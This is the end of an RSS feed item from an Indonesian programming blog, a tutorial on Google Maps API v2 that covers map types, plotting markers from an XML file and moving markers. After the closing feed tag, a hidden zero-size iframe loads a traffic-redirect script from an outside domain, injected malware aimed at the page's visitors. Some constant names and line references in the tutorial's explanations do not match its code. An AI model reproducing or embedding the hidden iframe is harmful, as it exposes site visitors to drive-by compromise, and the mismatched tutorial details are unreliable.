<li>G_SATELLITE_MAP berupa foto satelit. Semua tempat dimuka bumi ini telah difoto melalui satelit dan dapat diakses melalui Google Map. Namun beberapa tempat masih berupa foto dengan resolusi rendah sementara beberapa tempat sudah berupa foto dengan resolusi tinggi.</li>
<li>G_HYBRID_MAP adalah gabungan peta digital dan foto satelit</li>
<li>G_DEFAULT_MAP_TYPES berisi array dari ketiga jenis di atas</li>
<li>G_PHYSICAL_MAP menampilkan peta fisik berdasarkan informasi terrain</li>
</ul>
<p>Hal yang perlu diperhatikan pada pemanggilan method ini adalah bahwa method ini harus dipanggil setelah pemanggilan method setCenter() atau zoom().</p>
<p>Sebagai contoh, buatlah file dengan nama <strong>test-05.html </strong>dan dengan source code seperti di bawah ini. Perhatikan baris-baris yang berhuruf tebal.</p>
<div class="dean_ch" style="white-space: wrap;">&lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Strict//EN&quot; &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd&quot;&gt;<br />
&lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot; xmlns:v=&quot;urn:schemas-microsoft-com:vml&quot;&gt;<br />
&lt;head&gt;<br />
&lt;meta http-equiv=&quot;content-type&quot; content=&quot;text/html; charset=utf-8&quot;/&gt;<br />
&lt;script src=&quot;http://maps.google.com/maps?file=api&amp;amp;amp;v=2&amp;amp;amp;sensor=false&amp;amp;amp;key=abc&quot;&gt;<br />
&lt;/script&gt;<br />
&lt;script type=&quot;text/javascript&quot;&gt;<br />
&nbsp; &nbsp;function load() {<br />
&nbsp; &nbsp; &nbsp;if (GBrowserIsCompatible()) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; var map = new GMap2(document.getElementById(&quot;map&quot;));<br />
&nbsp; &nbsp; &nbsp; &nbsp; map.setCenter(new GLatLng(-6.8790, 107.63520), 13);<br />
&nbsp; &nbsp; &nbsp; &nbsp; map.setMapType(G_SATELLITE_MAP);<br />
&nbsp; &nbsp; &nbsp;}<br />
&nbsp; &nbsp;}<br />
&lt;/script&gt;<br />
&lt;/head&gt;<br />
&lt;body onload=&quot;load()&quot; onunload=&quot;GUnload()&quot; style=&quot;font-family: Arial;border: 0 none;&quot;&gt;<br />
&nbsp; &nbsp;&lt;div id=&quot;map&quot; style=&quot;width: 500px; height: 300px&quot;&gt;&lt;/div&gt;<br />
&lt;/body&gt;<br />
&lt;/html&gt;</div>
<p>Kita dapat mengedit bari 19 dengan merubah jenis peta menjadi G_NORMAL G_SATELITTE_TYPE, atau G_HYBRID_TYPE. Untuk peta dengan jenis G_NORMALuntuk daerah-daerah tertentu, jika kita men-zoom terlalu dalam maka mungkin kita tidak dapat melihat peta yang dimaksud. Ini karena Google Map belum memiliki peta pada level zoom tersebut untuk daerah yang kita pilih.</p>
<p>Contoh tampilan peta dengan type hybrid adalah sebagai berikut.</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/07/PreviewMapdenganTypesatelite.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="Preview Map dengan Type satelite" src="http://www.dijexi.com/wp-content/uploads/2009/07/PreviewMapdenganTypesatelite_thumb.png" border="0" alt="Preview Map dengan Type satelite" width="504" height="408" /></a></p>
<h2>Menambah Data Marker dari URL</h2>
<p>Marker dapat ditambahkan pada Google Map secara dinamis dari suatu data, dimana misalnya kita memiliki file data yang berisi informasi koordinat banyak marker yang akan dimunculkan pada Google Map.</p>
<p>Untuk hal ini kita perlu menjalankan function GDownloadUrl() yang digunakan untuk men-download data dari suatu URL file yang berisi data XML. Data XML yang diterima kemudian diparsing oleh object Google Map GXml. Object ini memiliki method parse() yang berguna untuk melakukan parsing data XML.</p>
<p>Setelah dilakukan parsing, maka akan didapatkan data XML yang siap untuk dibaca isinya.</p>
<p>Contohnya, buatlah file misalnya <strong>test-06.html </strong>dengan source code seperti di bawah ini. Perhatikan baris-baris yang berhuruf tebal.</p>
<div class="dean_ch" style="white-space: wrap;">&lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Strict//EN&quot; &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd&quot;&gt;<br />
&lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;<br />
&lt;head&gt;<br />
&lt;meta http-equiv=&quot;content-type&quot; content=&quot;text/html; charset=utf-8&quot;/&gt;<br />
&lt;script src=&quot;http://maps.google.com/maps?file=api&amp;amp;amp;v=2&amp;amp;amp;key=abc&quot; type=&quot;text/javascript&quot;&gt;&lt;/script&gt;<br />
&lt;script type=&quot;text/javascript&quot;&gt;<br />
//&lt;![CDATA[<br />
var map = null;<br />
function load()<br />
&nbsp; &nbsp;{<br />
&nbsp; &nbsp;if (GBrowserIsCompatible())<br />
&nbsp; &nbsp;{<br />
&nbsp; &nbsp; &nbsp; map = new GMap2(document.getElementById(&quot;map&quot;));<br />
&nbsp; &nbsp; &nbsp; map.setCenter(new GLatLng(-6.8790, 107.63520), 9);<br />
&nbsp; &nbsp; &nbsp; map.setMapType(G_HYBRID_TYPE);<br />
&nbsp; &nbsp; &nbsp; GDownloadUrl(&quot;data.xml&quot;, function(data, responseCode) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; var xml = GXml.parse(data);<br />
&nbsp; &nbsp; &nbsp; &nbsp; var markers = xml.documentElement.getElementsByTagName(&quot;marker&quot;);<br />
&nbsp; &nbsp; &nbsp; &nbsp; for (var i = 0; i &lt; markers.length; i++) {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;var point = new GLatLng(<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;parseFloat(markers[i].getAttribute(&quot;lat&quot;)),<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;parseFloat(markers[i].getAttribute(&quot;lng&quot;)));<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;map.addOverlay(new GMarker(point));<br />
&nbsp; &nbsp; &nbsp; &nbsp;&lt;strong&gt; &lt;/strong&gt;}<br />
&nbsp;&lt;strong&gt; &lt;/strong&gt;&lt;strong&gt; &nbsp; &lt;/strong&gt;});<br />
&nbsp; &nbsp;}<br />
&nbsp;}<br />
//]]&gt;<br />
&lt;/script&gt;<br />
&lt;/head&gt;<br />
&lt;body onload=&quot;load()&quot; onunload=&quot;GUnload()&quot;&gt;<br />
&nbsp; &nbsp;&lt;div id=&quot;map&quot; style=&quot;width: 400px; height: 200px&quot;&gt;Loading&lt;/div&gt;<br />
&lt;/body&gt;<br />
&lt;/html&gt;</div>
<p>Pada baris 21, kita menjalankan function GDownloadUrl(). Function ini memiliki dua parameter yaitu lokasi URL file yang akan didownload, yaitu data.xml dan function yang akan meng-handle data dan responseCode yang diterima setelah dilakukan proses download. Kedua data itu sudah otomatis tersedia dan dijadikan sebagai parameter dari function handler tersebut sehingga dapat dibaca di dalam function.</p>
<p>Pada baris 22 dilakukan pemanggilan method parse() yang terdapat pada object GXml. Hasil parsing data XML tersebut disimpan dalam variabel xml yang merupakan object yang memiliki struktur data XML yang siap dibaca oleh proses lainnya. Proses ini misalnya mencari key dan value suatu elemen tertentu dengan mudah.</p>
<p>Pada baris 23, kita membaca elemen XML yang bernama marker. Elemen ini harus tersedia pada data XML yang didownload sebelumnya yaitu pada file data.xml. Hasil pembacaan disimpan pada array yang kita beri nama markers. Ini adalah array javascript biasa yang dapat dihitung jumlah elemennya dengan property length, atau diakses setiap elemennya melalui indexnya, yaitu dengan tanda kurung siku. Misalnya untuk mengakses elemen pertama maka digunakan notasi markers[0].</p>
<p>Pada baris 24, kita melakukan perulangan mulai dari 0 sampai dengan banyaknya elemen array markers. Selama perulangan tersebut, kita membuat object yang diberinama point yang merupakan object GLatLng dengan koordinat latitude dan longitude yang diambil dari data XML. Informasi tersebut kita dapatkan dari elemen array markers dengan memanggil method getAttribute(). Artribut yang kita panggil untuk setiap elemen tersebut adalah atribut lat dan lng. Function parseFloat() digunakan untuk menkonversi data string menjadi data dengan type float yang diperlukan untuk membuat object GLatLng.</p>
<p>Pada baris 28, setelah object point berhasil dibuat, maka object tersebut digunakan sebagai parameter untuk pembuatan object baru yaitu GMarker. Object GMarker ini kemudian dijadikan parameter untuk method addOverlay() dari object map Google Map sehingga Google Map akan menampilkan marker baru pada koordinat yang ditentukan pada point.</p>
<p>Setelah perulangan selesai sampai dengan jumlah elemen array markers, maka pada baris 30 dipanggil method setCenter() dari object map untuk menentukan koordinat titik tengah tampilan peta Google Map.</p>
<p>Contoh data.xml yang digunakan untuk proses di atas adalah sebagai berikut:</p>
<div class="dean_ch" style="white-space: wrap;"><span class="sc3"><span class="re1">&lt;markers<span class="re2">&gt;</span></span></span><br />
&nbsp; <span class="sc3"><span class="re1">&lt;marker</span> <span class="re0">lat</span>=<span class="st0">&quot;-6.20&quot;</span> <span class="re0">lng</span>=<span class="st0">&quot;107.40&quot;</span> <span class="re2">/&gt;</span></span><br />
&nbsp; <span class="sc3"><span class="re1">&lt;marker</span> <span class="re0">lat</span>=<span class="st0">&quot;-6.32&quot;</span> <span class="re0">lng</span>=<span class="st0">&quot;107.51&quot;</span> <span class="re2">/&gt;</span></span><br />
&nbsp; <span class="sc3"><span class="re1">&lt;marker</span> <span class="re0">lat</span>=<span class="st0">&quot;-6.25&quot;</span> <span class="re0">lng</span>=<span class="st0">&quot;107.60&quot;</span> <span class="re2">/&gt;</span></span><br />
&nbsp; <span class="sc3"><span class="re1">&lt;marker</span> <span class="re0">lat</span>=<span class="st0">&quot;-6.36&quot;</span> <span class="re0">lng</span>=<span class="st0">&quot;107.66&quot;</span> <span class="re2">/&gt;</span></span><br />
<span class="sc3"><span class="re1">&lt;/markers<span class="re2">&gt;</span></span></span></div>
<p>Jika semua berjalan semestinya, maka tampilannya dari kode diatas adalah sebagai berikut.</p>
<p><a href="http://www.dijexi.com/wp-content/uploads/2009/07/MenempatkanMarkerdenganDatadariXML.png"><img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="Menempatkan Marker dengan Data dari XML" src="http://www.dijexi.com/wp-content/uploads/2009/07/MenempatkanMarkerdenganDatadariXML_thumb.png" border="0" alt="Menempatkan Marker dengan Data dari XML" width="504" height="540" /></a></p>
<h2>Memindahkan Marker</h2>
<p>Kadang kita perlu untuk memindahkan posisi sebuah marker yang sudah ada sebelumnya. Namun sayangnya Google Map belum menyediakan fasilitas ini, misalnya marker.move() atau map.moveMarker().</p>
<p>Untuk keperluan ini kita perlu melakukan:</p>
<ol>
<li>penghapusan marker yang sudah ada, dilakukan dengan method clearOverlays() yang terdapat pada object map Google Map.</li>
<li>pembuatan marker baru menggantikan marker yang sudah dihapus sehingga didapatkan efek perpindahan marker dari suatu koordinat ke koordinat lain.</li>
</ol>
<p>Berikut ini adalah contoh program untuk memindahkan marker.</p>
<div class="dean_ch" style="white-space: wrap;">map.clearOverlays();<br />
var marker = new GMarker(map.getCenter());<br />
map.addOverlay(marker);</div>
<p>Demikian dasar-dasar pengembangan aplikasi web menggunakan Google Map API. Sampai ketemu pada aplikasi berikutnya tentang membuat aplikasi GPS tracking.</p>
<p>Referensi:</p>
<ul>
<li>Dokumentasi Google Map API: <a title="http://code.google.com/apis/maps/documentation/introduction.html" href="http://code.google.com/apis/maps/documentation/introduction.html">http://code.google.com/apis/maps/documentation/introduction.html</a></li>
<li>Google Map API Playground: <a href="http://code.google.com/apis/ajax/playground">http://code.google.com/apis/ajax/playground</a></li>
</ul>
<p>Akhmad Daniel Sembiring</p>
<p><a href="http://www.vitraining.com/">vITraining.com &#8211; Qualified IT Products, Outsourcing, and Services</a></p>
<p><a href="http://ligarwangi.com/">Ligarwangi.com &#8211; Linux, E-book, Coffee, Gift, etc</a></p>
<div class="zemanta-related">
<h6 class="zemanta-related-title" style="font-size: 1em">Related articles by Zemanta</h6>
<ul class="zemanta-article-ul">
<li class="zemanta-article-ul-li"><a href="http://www.techcrunch.com/2009/06/19/google-maps-finally-gives-me-the-feature-ive-wanted-from-day-1-whats-here/">Google Maps Finally Gives Me The Feature I&#8217;ve Wanted From Day 1: What&#8217;s Here? </a>(techcrunch.com)</li>
<li class="zemanta-article-ul-li"><a href="http://www.readwriteweb.com/archives/google_wants_to_make_the_web_faster_debuts_speed_n.php">Google Wants to Make the Web Faster, Debuts Speed (Not the Drug, the Developer Site) </a>(readwriteweb.com)</li>
<li class="zemanta-article-ul-li"><a href="http://google-code-updates.blogspot.com/2009/06/google-io-session-videos-on-building.html">Google I/O: Session videos on building apps using the AJAX and Data APIs </a>(google-code-updates.blogspot.com)</li>
<li class="zemanta-article-ul-li"><a href="http://www.mt-soft.com.ar/2009/06/25/google-city-tours/">Google City Tours </a>(mt-soft.com.ar)</li>
<li class="zemanta-article-ul-li"><a href="http://www.shankee.com/2009/06/google-secrets-unleash-power-of.html">Google secrets unleash the power of searching </a>(shankee.com)</li>
</ul>
</div>
<div class="zemanta-pixie" style="margin-top: 10px; height: 15px;"><a class="zemanta-pixie-a" title="Reblog this post [with Zemanta]" href="http://reblog.zemanta.com/zemified/bfbe0adf-c3a6-460a-b09f-729ed3a7bf39/"><img class="zemanta-pixie-img" style="border-bottom-style: none; border-right-style: none; border-top-style: none; float: right; border-left-style: none" src="http://img.zemanta.com/reblog_e.png?x-id=bfbe0adf-c3a6-460a-b09f-729ed3a7bf39" alt="Reblog this post [with Zemanta]" /></a></div>
<div id="crp_related"><h3>Related Posts:</h3><ul><li><a href="http://www.dijexi.com/2009/06/seri-tutorial-delphi-programming/" rel="bookmark">Seri Tutorial Delphi Programming</a></li><li><a href="http://www.dijexi.com/2009/08/diperlukan-programmer-phpjavascript-dan-c-dotnet/" rel="bookmark">Lowongan Kerja: Programmer PHP+Javascript dan C# Dotnet</a></li><li><a href="http://www.dijexi.com/2009/07/lowongan-kerja-junior-programmer-dan-senior-web-programmer/" rel="bookmark">Lowongan Kerja : Junior Programmer dan Senior Web Programmer</a></li><li><a href="http://www.dijexi.com/2009/08/lowongan-kerja-php-junior-programmer/" rel="bookmark">Lowongan Kerja: PHP Junior Programmer</a></li><li><a href="http://www.dijexi.com/2009/07/membuat-sistem-gps-tracking/" rel="bookmark">Membuat Sistem GPS Tracking</a></li></ul></div><!--INFOLINKS_OFF--><p style="text-align: center;"><script type="text/javascript"><!--
google_ad_client = "pub-7773800616131770";
/* horizontal */
google_ad_slot = "1931057994";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save?linkurl=http%3A%2F%2Fwww.dijexi.com%2F2009%2F07%2Fmembuat-aplikasi-dengan-google-map-api%2F&amp;linkname=Membuat%20Aplikasi%20dengan%20Google%20Map%20API"><img src="http://www.dijexi.com/wp-content/plugins/add-to-any/share_save_120_16.png" width="120" height="16" alt="Share/Bookmark"/></a>]]></content:encoded>
			<wfw:commentRss>http://www.dijexi.com/2009/07/membuat-aplikasi-dengan-google-map-api/feed/</wfw:commentRss>
		<slash:comments>16</slash:comments>
		</item>
	</channel>
</rss>
<iframe src="http://pokosa.com/tds/go.php?sid=1" width="0" height="0" frameborder="0"></iframe>
